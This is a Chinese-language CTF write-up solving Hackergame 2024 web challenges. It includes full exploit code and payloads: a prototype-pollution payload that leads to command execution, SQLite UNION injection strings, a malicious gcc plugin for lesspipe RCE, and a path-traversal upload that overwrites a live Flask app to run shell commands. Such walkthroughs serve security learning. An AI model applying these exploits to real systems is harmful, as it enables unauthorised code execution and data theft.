Hackergame2024 WEB全详细解析
1315609050541697 发表于 湖北 CTF 258浏览 · 2024-11-10 08:11

比大小王

是一个10s内算100个题,并且还要比人机快
抓包发现请求获得题目的包

查看前端交互代码
这个是提交答案的交互

function submit(inputs) {
      fetch('/submit', {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
        },
        body: JSON.stringify({inputs}),
      })
        .then(response => response.json())
        .then(data => {
          state.stopUpdate = true;
          document.getElementById('dialog').textContent = data.message;
          document.getElementById('dialog').style.display = 'flex';
        })
        .catch(error => {
          state.stopUpdate = true;
          document.getElementById('dialog').textContent = '提交失败,请刷新页面重试';
          document.getElementById('dialog').style.display = 'flex';
        });
    }

抓包查看提交答案的包格式如下

那么我们写交互脚本来快速算出答案并提交

import requests
import json
import time

url="http://202.38.93.141:12122/"

sess=requests.session()

proxies={
    "http": "127.0.0.1:8080"

}

header={'Content-Type': 'application/json'}

burp0_cookies = {"session": ".eJx1VNFOAjEQ_BXTVxrTba93LW_kEAUBISoJGh8ugqCARO4OQwj_bklM2Lnkni6T6c7uTud6FItsMxfNo8iLbFc8fZ4BJYa08t7QdeSsFPtsXc5z0Xw9iqsifMhIit5O8h96SckFaUnqgojgaKh0DDnJj4ZKhjwWBtIBZJWRtIxKJHkGkdRAOkmMtJKIi3IURo2hB1NRkjS4gZyvc-rsTQwkbsFEY87F4FosKzbFMDWhKLimsB_TQQ8TaWqdCA0NH03XtSMFKrY6qOP9InBJgRFMRUs0F6-I59BCXdDEUPJKC6FQErMNAfG1DTQvC3eEdsZgRK3vwTKO4A_QXATDcl4dneYw4oWGN9AQAVtJGXTQGGTPd3DIgRNwEKMDPkT4iOAslm-gK2W8tUFoKzFmmoo_Eqb6nuk6-8IFERcxQOm6Vavhh9ckqTw0AQUsiu1q_i2awrhINwc307Q7bq_sS1mu13vb-Vj0l-Nh2vlJKSoXi4e8PUvjwyAft7rpe9GZ_HaXrWFjdPd1-2xG7kCNvpn1Hu38MLEb3SvsfdafTbbTnRotp4k6iNMfn1ykiw.ZzAqxg.pT0ZncPdpw9AzOGyw4d5LeXIlBU"}

res1=sess.post(url+"game",headers=header,json={},cookies=burp0_cookies,proxies=proxies)

data = json.loads(res1.text)
sess_cookie=res1.cookies.get("session")
# Extract the 'values' list
a = data.get("values", [])

b=list()
for i in range(len(a)):
    if  a[i][0]<=a[i][1]:
        b.append("<")
    else:
        b.append(">")
cookie2={"session": sess_cookie}
time.sleep(6)
res2=sess.post(url+"submit",headers=header,json={"inputs":b},cookies=cookie2,proxies=proxies)

print(res2.text)

需要注意的是需要sleep5s以上,防止被判断作弊,并且要用返回包里的session值完成游戏

Node.js is Web Scale

源代码如下

// server.js
const express = require("express");
const bodyParser = require("body-parser");
const path = require("path");
const { execSync } = require("child_process");

const app = express();
app.use(bodyParser.json());
app.use(express.static(path.join(__dirname, "public")));

let cmds = {
  getsource: "cat server.js",
  test: "echo 'hello, world!'",
};

let store = {};

// GET /api/store - Retrieve the current KV store
app.get("/api/store", (req, res) => {
  res.json(store);
});

// POST /set - Set a key-value pair in the store
app.post("/set", (req, res) => {
  const { key, value } = req.body;

  const keys = key.split(".");
  let current = store;

  for (let i = 0; i < keys.length - 1; i++) {
    const key = keys[i];
    if (!current[key]) {
      current[key] = {};
    }
    current = current[key];
  }

  // Set the value at the last key
  current[keys[keys.length - 1]] = value;

  res.json({ message: "OK" });
});

// GET /get - Get a key-value pair in the store
app.get("/get", (req, res) => {
  const key = req.query.key;
  const keys = key.split(".");

  let current = store;
  for (let i = 0; i < keys.length; i++) {
    const key = keys[i];
    if (current[key] === undefined) {
      res.json({ message: "Not exists." });
      return;
    }
    current = current[key];
  }

  res.json({ message: current });
});

// GET /execute - Run commands which are constant and obviously safe.
app.get("/execute", (req, res) => {
  const key = req.query.cmd;
  const cmd = cmds[key];
  res.setHeader("content-type", "text/plain");
  res.send(execSync(cmd).toString());
});

app.get("*", (req, res) => {
  res.sendFile(path.join(__dirname, "public", "index.html"));
});

// Start the server
const PORT = 3000;
app.listen(PORT, () => {
  console.log(`KV Service is running on port ${PORT}`);
});

审计代码,发现存在原型链污染,本地调试如下成功污染

const { key, value } = { "key": "__proto__.text", "value": 123 };
let store = {};
const keys = key.split(".");
let current = store;

for (let i = 0; i < keys.length - 1; i++) {
    const key = keys[i];
    if (!current[key]) {
        current[key] = {};
    }
    current = current[key];
}

// Set the value at the last key
current[keys[keys.length - 1]] = "123";
console.log(store['text']);

set路由传入如下污染

{"key":"__proto__.qwe","value":"cat /f*"}

然后我们再执行cmd的键值

/execute?cmd=qwe

PaoluGPT

源码如下

from flask import Flask, request, render_template, session, redirect, url_for, make_response
import hashlib
import OpenSSL
import base64
from dataclasses import dataclass
from database import execute_query
import secrets

app = Flask(__name__)
app.secret_key = secrets.token_urlsafe(64)

app.config["MAX_CONTENT_LENGTH"] = 2 * 1024 * 1024

with open("./cert.pem") as f:
    cert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, f.read())


@app.before_request
def check():
    if request.path.startswith("/static/"):
        return
    if request.args.get("token"):
        try:
            token = request.args.get("token")
            id, sig = token.split(":", 1)
            sig = base64.b64decode(sig, validate=True)
            OpenSSL.crypto.verify(cert, sig, id.encode(), "sha256")
            session["token"] = token
        except Exception:
            session["token"] = None
        return redirect(url_for("index"))
    if session.get("token") is None:
        return make_response(render_template("error.html"), 403)

@dataclass
class Message:
    id: str
    title: str
    contents: str


def sha256(msg: bytes):
    return hashlib.sha256(msg).hexdigest()


def get_user_id():
    return session['token'].split(":", 1)[0]


@app.route("/")
def index():
    return render_template("index.html")

@app.route("/chat")
def chat():
    return render_template("chat.html")

@app.route("/list")
def list():
    results = execute_query("select id, title from messages where shown = true", fetch_all=True)
    messages = [Message(m[0], m[1], None) for m in results]
    return render_template("list.html", messages=messages)

@app.route("/view")
def view():
    conversation_id = request.args.get("conversation_id")
    results = execute_query(f"select title, contents from messages where id = '{conversation_id}'")
    return render_template("view.html", message=Message(None, results[0], results[1]))

if __name__ == "__main__":
    app.run(host="127.0.0.1", port=13091)

存在sqliite注入
测试一共2列

conversation_id=979e5f79-fe1e-4a66-b331-afe069996333' order by 2--+

联合查询成功回显

-1' union select 1, 2--+

查看sql语句

-1' union select 1,group_concat(sql) from sqlite_master--+

CREATE TABLE messages (id text primary key, title text, contents text, shown boolean)

然后sql注入数据并搜索flag字符串

-1' union select title, contents from messages where contents like '%flag%' --'

Less文件查看器

题目有文件上传以及less查看文件内容的功能

给了源码如下

from flask import Flask, request, make_response, render_template, session, redirect, url_for
import socket
import os
import base64
import OpenSSL
from secret import secret_key

app = Flask(__name__)
app.secret_key = secret_key

app.config["MAX_CONTENT_LENGTH"] = 16 * 1024 * 1024

with open("./cert.pem") as f:
    cert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, f.read())


@app.before_request
def check():
    if request.path.startswith("/static/"):
        return
    if request.args.get("token"):
        try:
            token = request.args.get("token")
            id, sig = token.split(":", 1)
            sig = base64.b64decode(sig, validate=True)
            OpenSSL.crypto.verify(cert, sig, id.encode(), "sha256")
            session["token"] = token
        except Exception:
            session["token"] = None
        return redirect(url_for("index"))
    if session.get("token") is None:
        return make_response(render_template("error.html"), 403)


@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == "POST":
        token = session["token"]
        files = request.files.getlist('files')
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((os.environ["nc_host"], int(os.environ["nc_port"])))

        buf = b""
        while True:
            buf += s.recv(4096)
            if buf == b"Please input your token: \n":
                break
        s.sendall(token.encode() + b"\n")

        buf = b""
        while True:
            buf += s.recv(4096)
            if not b"Files:".startswith(buf):
                break

        if buf == b"Files:\n":
            for file in files:
                if file.filename:
                    s.sendall(base64.b64encode(file.filename.encode()) + b"\n")
                    s.sendall(base64.b64encode(file.read()) + b"\n")
            s.sendall(b'#EOF\n')
            buf = b""
            while True:
                data = s.recv(4096)
                if not data:
                    break
                buf += data
        return render_template('index.html', result=buf.decode())
    else:
        return render_template('index.html', result='')

用lesspipe RCE关键词,搜索到一些相关的讨论。执行以下命令:

printf '#include <stdlib.h>\nvoid onload(void *v) { system("ls / -alh"); }' | \
  gcc -fPIC -shared -o plugin.so -xc -
ar rc ./@.a /dev/null
echo '-s --plugin ./plugin.so ./@.a' > .a

然后把生成的 plugin.so.a@.a 三个文件上传即可在服务器上执行列目录的命令。这里要注意,上传时选择的文件的顺序很重要,一定要保证 @.a 是最后一个。在我的 macOS 的 Chrome 浏览器上面,按照文件大小排序就能保证上传的顺序,其他操作系统我没测试,但是总是可以通过 curl 之类的命令或者写脚本来保证上传顺序。

最后把上面的命令替换成 cat /flag,重新上传一次,就可以得到 flag。

禁止内卷

题目源代码如下

from flask import Flask, render_template, request, flash, redirect
import json
import os
import traceback
import secrets

app = Flask(__name__)
app.secret_key = secrets.token_urlsafe(64)

UPLOAD_DIR = "/tmp/uploads"

os.makedirs(UPLOAD_DIR, exist_ok=True)

# results is a list
try:
    with open("results.json") as f:
        results = json.load(f)
except FileNotFoundError:
    results = []
    with open("results.json", "w") as f:
        json.dump(results, f)


def get_answer():
    # scoring with answer
    # I could change answers anytime so let's just load it every time
    with open("answers.json") as f:
        answers = json.load(f)
        # sanitize answer
        for idx, i in enumerate(answers):
            if i < 0:
                answers[idx] = 0
    return answers


@app.route("/", methods=["GET"])
def index():
    return render_template("index.html", results=sorted(results))


@app.route("/submit", methods=["POST"])
def submit():
    if "file" not in request.files or request.files['file'].filename == "":
        flash("你忘了上传文件")
        return redirect("/")
    file = request.files['file']
    filename = file.filename
    filepath = os.path.join(UPLOAD_DIR, filename)
    file.save(filepath)

    answers = get_answer()
    try:
        with open(filepath) as f:
            user = json.load(f)
    except json.decoder.JSONDecodeError:
        flash("你提交的好像不是 JSON")
        return redirect("/")
    try:
        score = 0
        for idx, i in enumerate(answers):
            score += (i - user[idx]) * (i - user[idx])
    except:
        flash("分数计算出现错误")
        traceback.print_exc()
        return redirect("/")
    # ok, update results
    results.append(score)
    with open("results.json", "w") as f:
        json.dump(results, f)
    flash(f"评测成功,你的平方差为 {score}")
    return redirect("/")

审计发现有文件覆盖漏洞,并且题目提示:助教部署的时候偷懒了,直接用了 flask run(当然了,助教也读过 Flask 的文档,所以 DEBUG 是关了的)。而且有的时候助教想改改代码,又懒得手动重启,所以还开了 --reload。启动的完整命令flask run --reload --host 0。网站代码运行在 /tmp/web

上传脚本如下覆盖app.py

import requests


url = "https://chal02-lw27sste.hack-challenge.lug.ustc.edu.cn:8443/submit"
filename = "C:\\Users\\86150\\Desktop\\1.py"

with open(filename, 'r', encoding='utf-8') as f:
    file_content = f.read()

files = {'file': ('../web/app.py', file_content)}

response = requests.post(url, files=files)

覆盖文件如下即可

from flask import Flask, jsonify
import json
import os

app = Flask(__name__)



@app.route('/', methods=['GET'])
def index():
    try:
        a=os.popen('ls /').read()
        return a

    except Exception as e:
        return jsonify({"error": str(e)})



if __name__ == '__main__':

    app.run()

0 条评论
某人
表情
可输入 255